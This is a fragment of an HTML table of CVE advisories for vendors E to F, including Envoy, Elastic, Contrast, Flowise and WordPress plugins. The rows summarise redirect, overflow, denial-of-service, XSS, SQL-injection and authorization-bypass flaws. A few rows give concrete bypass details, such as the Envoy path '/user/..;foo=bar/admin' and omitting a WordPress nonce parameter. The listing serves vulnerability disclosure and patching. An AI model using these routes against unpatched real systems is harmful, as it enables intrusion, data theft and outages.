&lt;td&gt;e621ng versions before 26.09.16 pass untrusted request parameters directly to Rails url_for in PaginatorComponent and controller navigation links, allowing attackers to redirect pagination and navigation controls to attacker-controlled origins. Attackers can supply host, protocol, and port query parameters that are interpreted as URL generation options, causing pagination links to point to malicious domains while the initial page loads from the legitimate site.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95813&quot; target=&quot;_blank&quot;&gt;CVE-2026-95813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast is a Kubernetes runtime for confidential containers. In versions before 1.12.1, the secure persistent volume feature is vulnerable to a malicious host supplying a crafted LUKS2 volume to a pod VM. LUKS2 volume metadata is not authenticated and, with cryptsetup versions prior to 2.8.1, a header specifying the null keyslot encryption algorithm (cipher_null-ecb) is accepted without error. Because the Contrast Initializer assumes a device is protected if `cryptsetup open` succeeds with the secret seed, the guest will open the attacker-supplied volume and write secret data in plaintext, or under a volume key known to the attacker, allowing the host to read confidential data that should have been encrypted. Contrast v1.12.1 ships cryptsetup 2.8.1, which disables null ciphers in keyslots when the passphrase is non-empty; v1.13.0 adds detached-header validation in guest memory and integrity protection for secure persistent storage. Contrast persistent volumes were not integrity protected, so integrity impact is not considered.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71422&quot; target=&quot;_blank&quot;&gt;CVE-2025-71422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast through 1.20.0 contains a panic vulnerability in the transit-engine endpoint&#039;s ciphertextContainer.UnmarshalJSON function that fails to validate decoded ciphertext length before slicing. An authenticated workload with a valid mesh certificate can trigger a runtime panic by submitting a short base64-encoded ciphertext, causing log spam and request failures without crashing the process.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100836&quot; target=&quot;_blank&quot;&gt;CVE-2026-100836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Edimax--BR-6428nC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Edimax BR-6428nC 1.16. The impacted element is an unknown function of the file /goform/formWizSurvey of the component Wireless Wizard Handler. The manipulation of the argument interface1/interface2 leads to stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100745&quot; target=&quot;_blank&quot;&gt;CVE-2026-100745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Edimax--BR-6428nC&lt;/td&gt;
&lt;td&gt;A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function websRedirect of the component goform Handler. Executing a manipulation of the argument submit-url can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used. Multiple endpoints are affected. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96892&quot; target=&quot;_blank&quot;&gt;CVE-2026-96892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130).&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82294&quot; target=&quot;_blank&quot;&gt;CVE-2026-82294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130).&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82300&quot; target=&quot;_blank&quot;&gt;CVE-2026-82300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94396&quot; target=&quot;_blank&quot;&gt;CVE-2026-94396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94397&quot; target=&quot;_blank&quot;&gt;CVE-2026-94397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94398&quot; target=&quot;_blank&quot;&gt;CVE-2026-94398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94399&quot; target=&quot;_blank&quot;&gt;CVE-2026-94399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Elasticsearch&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94408&quot; target=&quot;_blank&quot;&gt;CVE-2026-94408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Kibana&lt;/td&gt;
&lt;td&gt;Authorization Bypass Through User-Controlled Key (CWE-639) in Kibana can lead to unauthorized disclosure, modification, and deletion of data via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user granted the Timeline feature privilege in a Kibana space could enumerate, read, modify, and delete draft Timeline objects belonging to other users in the same space. Read access is sufficient for enumeration and disclosure; the Timeline write privilege is required for modification and deletion.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72662&quot; target=&quot;_blank&quot;&gt;CVE-2026-72662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Kibana&lt;/td&gt;
&lt;td&gt;Missing Authorization (CWE-862) in Kibana can lead to unauthorized deletion of data via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180). An authenticated user holding Synthetics privileges scoped to a single Kibana space could permanently delete Synthetics monitors that are shared into spaces they have no access to. Where a monitor is associated with a private location, the same operation also destroys the underlying Elastic Agent integration configuration without the authorization checks that Fleet would otherwise apply.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78582&quot; target=&quot;_blank&quot;&gt;CVE-2026-78582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Kibana&lt;/td&gt;
&lt;td&gt;Uncontrolled Resource Consumption (CWE-400) in Kibana can lead denial of service via Excessive Allocation (CAPEC-130)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94400&quot; target=&quot;_blank&quot;&gt;CVE-2026-94400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s ProdClusterManagerFactory::allocateConnPool dereferences transport_socket_options while selecting an HTTP/3 connection pool without first checking whether the pointer is null. LoadBalancerContext implementations used by synthetic, mirror, health-check, and async-client calls can return no transport-socket options. With auto_config and HTTP/3 enabled, routine traffic reaching one of those contexts can crash an Envoy worker. The relevant scope boundary is that the affected branch requires HTTP/3 in the protocol set and a context that supplies no transport-socket options. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48521&quot; target=&quot;_blank&quot;&gt;CVE-2026-48521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s HTTP external-authorization client can retain a stale request callback after a request is rejected. When RawHttpClientImpl::onSuccess later processes the authorization response, it can invoke callbacks_ after the callback owner has been destroyed, causing a use-after-free and process crash under production traffic. The relevant scope boundary is that the vulnerable path uses the HTTP ext_authz client; the advisory does not establish the same trigger for unrelated filters. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50572&quot; target=&quot;_blank&quot;&gt;CVE-2026-50572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy normally matches the raw request path, while servlet backends such as Apache Tomcat strip semicolon matrix parameters from each path segment before resolving the resource. Envoy&#039;s ignore_path_parameters_in_path_matching option instead truncates at the first semicolon and still does not match per-segment backend behavior. A remote client can use a parameterized protected segment, or a parameter on an earlier segment, to make Envoy select an unprotected fallback while the backend resolves the protected resource. The relevant scope boundary is that the bypass requires both a path-based Envoy decision and a backend that strips semicolon parameters per segment. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73511&quot; target=&quot;_blank&quot;&gt;CVE-2026-73511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s Utility::copyInternetAddressAndPort and QUIC client-address paths reconstruct scoped IPv6 addresses through addressAsString and Ipv6Instance. The string includes a percent scope identifier that inet_pton cannot parse, causing an exception or abort. Kernel-provided scoped IPv6 destinations in ORIGINAL_DST transparent-proxy deployments, and affected QUIC connection paths, can therefore terminate the process. The relevant scope boundary is that the HTTP use_http_header override rejects scoped addresses earlier; the advisory&#039;s crash path requires a kernel-provided original destination or the affected QUIC path. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73549&quot; target=&quot;_blank&quot;&gt;CVE-2026-73549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s URL normalization does not recognize dot and dotdot path segments when they carry semicolon parameters. A request such as /user/..;foo=bar/admin is therefore not canonicalized to /admin even when path normalization is enabled. If an upstream interprets the segment according to RFC 3986 while Envoy applies routing or RBAC to the uncollapsed path, a remote client can cause path confusion and bypass path-based security policy. The relevant scope boundary is that the security consequence depends on a downstream/upstream path interpretation mismatch or a path-based Envoy decision. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73551&quot; target=&quot;_blank&quot;&gt;CVE-2026-73551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;espressif--esp-idf&lt;/td&gt;
&lt;td&gt;ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In 5.5.5, 6.0.1, and 6.1, the BlueDroid A2DP sink function btc_a2dp_sink_handle_inc_media() reads a timestamp field from the received media buffer before validating that the packet layout contains the field. A paired BR/EDR audio source within radio range can send a malformed A2DP media packet to a build with BlueDroid Classic Bluetooth and A2DP sink support enabled, causing an out-of-bounds read into adjacent heap memory and limited disclosure of heap contents. Arbitrary memory disclosure and code execution are not established.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81508&quot; target=&quot;_blank&quot;&gt;CVE-2026-81508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eufy--Omni C20&lt;/td&gt;
&lt;td&gt;Omni C20 uses hard-coded credentials that could allow an attacker to monitor log files to obtain credentials to access information like mapping data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93290&quot; target=&quot;_blank&quot;&gt;CVE-2026-93290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ezGlobal--GPM LIGHT&lt;/td&gt;
&lt;td&gt;GPM LIGHT developed by ezGlobal has a Sensitive Data Exposure vulnerability. Unauthenticated remote attackers can directly access system logs.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97181&quot; target=&quot;_blank&quot;&gt;CVE-2026-97181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fabasoft--Folio Client&lt;/td&gt;
&lt;td&gt;Fabasoft Folio Client before 2026, a locally installed component that communicates with the Fabasoft browser extension via web messaging, does not restrict which web origins may invoke its functions by default. The registry value VALIDDOMAINS, which limits permitted origins, was optional and empty by default, resulting in all domains being trusted. As a consequence, any website visited by a user with the Folio Client and browser extension installed could invoke client functions, e.g., related to downloading documents, opening documents, and synchronizing files. The first fixed builds are Fabasoft Folio Client 2026 (Build 26.0.0.10) and Fabasoft Folio Client 2026 April Release (Build 26.4.0.76). This client is, for example, shipped with Fabasoft eGov-Suite.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97155&quot; target=&quot;_blank&quot;&gt;CVE-2026-97155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fabiolb--fabio&lt;/td&gt;
&lt;td&gt;Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. From 1.6.6 until 1.7.2, the CVE-2025-48865 fix in proxy/http_headers.go uses protectHeaders for a hardcoded set of forwarded headers but omits the operator-configured ClientIPHeader, TLSHeader, and RequestID names. In proxy/http_proxy.go, HTTPProxy.ServeHTTP calls addHeaders to set these trust headers before Go ReverseProxy processes the inbound Connection header, allowing an unauthenticated client to name and remove the configured headers before the request reaches the backend. Deployments that enable the corresponding proxy.header options can therefore lose client-IP, TLS-termination, or request-correlation signals used by backend authorization and auditing; the options are empty by default, and the hardcoded protected forwarded headers are unaffected. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62987&quot; target=&quot;_blank&quot;&gt;CVE-2026-62987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a stack overflow in the _GetGroup() function (/ops/op_aggregate.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88408&quot; target=&quot;_blank&quot;&gt;CVE-2026-88408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;An integer overflow in the _BulkInsert_ReadProperty component (/bulk_insert.c) of FalkorDB (Redis module) v4.20.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88412&quot; target=&quot;_blank&quot;&gt;CVE-2026-88412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fast--FAC1900R&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Fast FAC1900R 20190827_2.0.2. The impacted element is the function get_alias_name of the component uhttpd. Such manipulation leads to stack-based buffer overflow. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96676&quot; target=&quot;_blank&quot;&gt;CVE-2026-96676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
&lt;td&gt;FFmpeg before 9.0 has a signed integer overflow in libavformat/mov.c. In mov_read_ispe(), uint32_t width/height values from a crafted HEIF ispe box are stored into signed int fields without bounds checking, allowing values exceeding INT_MAX to become negative. In read_image_grid(), accumulating these values causes signed integer overflow (undefined behavior per C17 section 6.5), which on x86 wraps to a small positive value, bypassing downstream validity checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96611&quot; target=&quot;_blank&quot;&gt;CVE-2026-96611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Flatpak--Flatpak&lt;/td&gt;
&lt;td&gt;In Flatpak before 1.18.1, a malicious sandboxed app can replace ~/.var/app/$appid/.ld.so with a symlink, causing regenerate_ld_cache to write files at an arbitrary location. The filenames and content are not attacker controlled, making this hard to exploit.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96807&quot; target=&quot;_blank&quot;&gt;CVE-2026-96807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fleetdm--fleet&lt;/td&gt;
&lt;td&gt;Fleet before 4.87.0 does not protect the two endpoints that serve in-house iOS application packages and manifests (enterprise tier only) with the intended random, time-limited URL token. Because Apple&#039;s InstallEnterpriseApplication MDM command requires these URLs to be reachable without a Fleet session, they cannot rely on session-based authentication, and the missing token allows an unauthenticated attacker with network access to the Fleet server to download in-house IPA binaries and their metadata (bundle identifier, version, and name) by guessing sequential title identifiers. The impact is limited to read-only disclosure; there is no privilege escalation or write access, and the free tier is unaffected (it returns fleet.ErrMissingLicense).&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101047&quot; target=&quot;_blank&quot;&gt;CVE-2026-101047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flippercode--WP Maps Google Maps, OpenStreetMap, Mapbox, Store Locator with Search, Filters &amp;amp; Listings&lt;/td&gt;
&lt;td&gt;The WP Maps - Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory &amp;amp; Filters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shapes_values Parameter in all versions up to, and including, 4.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The fc-call-nonce nonce required by the endpoint is exposed to all frontend visitors who view a map page via window.wpgmp_local.nonce, enabling any authenticated subscriber to read the nonce and craft a valid request; additionally, the secondary _wpnonce check in the drawing handler can be bypassed by simply omitting the _wpnonce parameter from the request.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13179&quot; target=&quot;_blank&quot;&gt;CVE-2026-13179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise (npm packages `flowise` and `flowise-components`) through 3.1.4 looks up credentials by ID without filtering on the requesting user&#039;s workspace (findOneBy({ id: credentialId }) with no workspaceId condition) in several code paths: getAllOpenaiAssistants/getSingleOpenaiAssistant (GET /api/v1/openai-assistants and /api/v1/openai-assistants/:id), uploadFilesToAssistant (POST /api/v1/openai-assistants-file/upload/), deleteAssistant (DELETE /api/v1/assistants/:id, reachable by first importing a poisoned assistant row via POST /api/v1/export-import/import), and the shared helper used by getVoices (GET /api/v1/text-to-speech/voices). An authenticated user of one workspace can supply a credential UUID belonging to another workspace, causing the server to decrypt and use that workspace&#039;s OpenAI or ElevenLabs API key on the attacker&#039;s behalf. No patched version was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100609&quot; target=&quot;_blank&quot;&gt;CVE-2026-100609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forma--LMS&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Forma LMS up to 4.1.43. This impacts the function UserselectorAdmController::getDataTask of the file /appCore/ajax.adm_server.php?r=adm/userselector/getData of the component Multi-User-Selector AJAX Endpoint. This manipulation of the argument Name causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96777&quot; target=&quot;_blank&quot;&gt;CVE-2026-96777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not verify that a request came from a trusted proxy before preferring client-supplied forwarding headers over the connecting address, and it uses that value both to enforce its per-visitor voting limit and to record who submitted an entry. Unauthenticated visitors can therefore vote without limit on any poll and can choose the address stored against every submission they make.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87070&quot; target=&quot;_blank&quot;&gt;CVE-2026-87070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forminator Forms--Forminator Forms&lt;/td&gt;
&lt;td&gt;The Forminator Forms WordPress plugin before 1.57.2.1 does not restrict which metadata keys a form submission may supply, and does not exclude the keys WordPress reserves for its own use, so unauthenticated visitors submitting a public form that collects post content can attach metadata of their choosing to the post their submission creates.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87071&quot; target=&quot;_blank&quot;&gt;CVE-2026-87071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foundry376--Mailspring&lt;/td&gt;
&lt;td&gt;Mailspring is a fast, cross-platform, open-source email client. Prior to 1.17.0, attachment quick preview converts Markdown, DOCX, and XLSX attachments with Snarkdown, Mammoth, and SheetJS and inserts the resulting HTML into the preview document through innerHTML without sanitization. A remote sender can craft a supported attachment whose converted HTML executes script when a recipient opens quick preview. The preview renderer has no direct Node or Electron access, but injected script can reach the IPC surface exposed to the quick-preview renderer. This issue alone provides script execution in the preview renderer; separate path-traversal and renderer-controlled file-write vulnerabilities are required for the documented persistent code-execution chain. This issue is fixed in version 1.17.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93405&quot; target=&quot;_blank&quot;&gt;CVE-2026-93405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
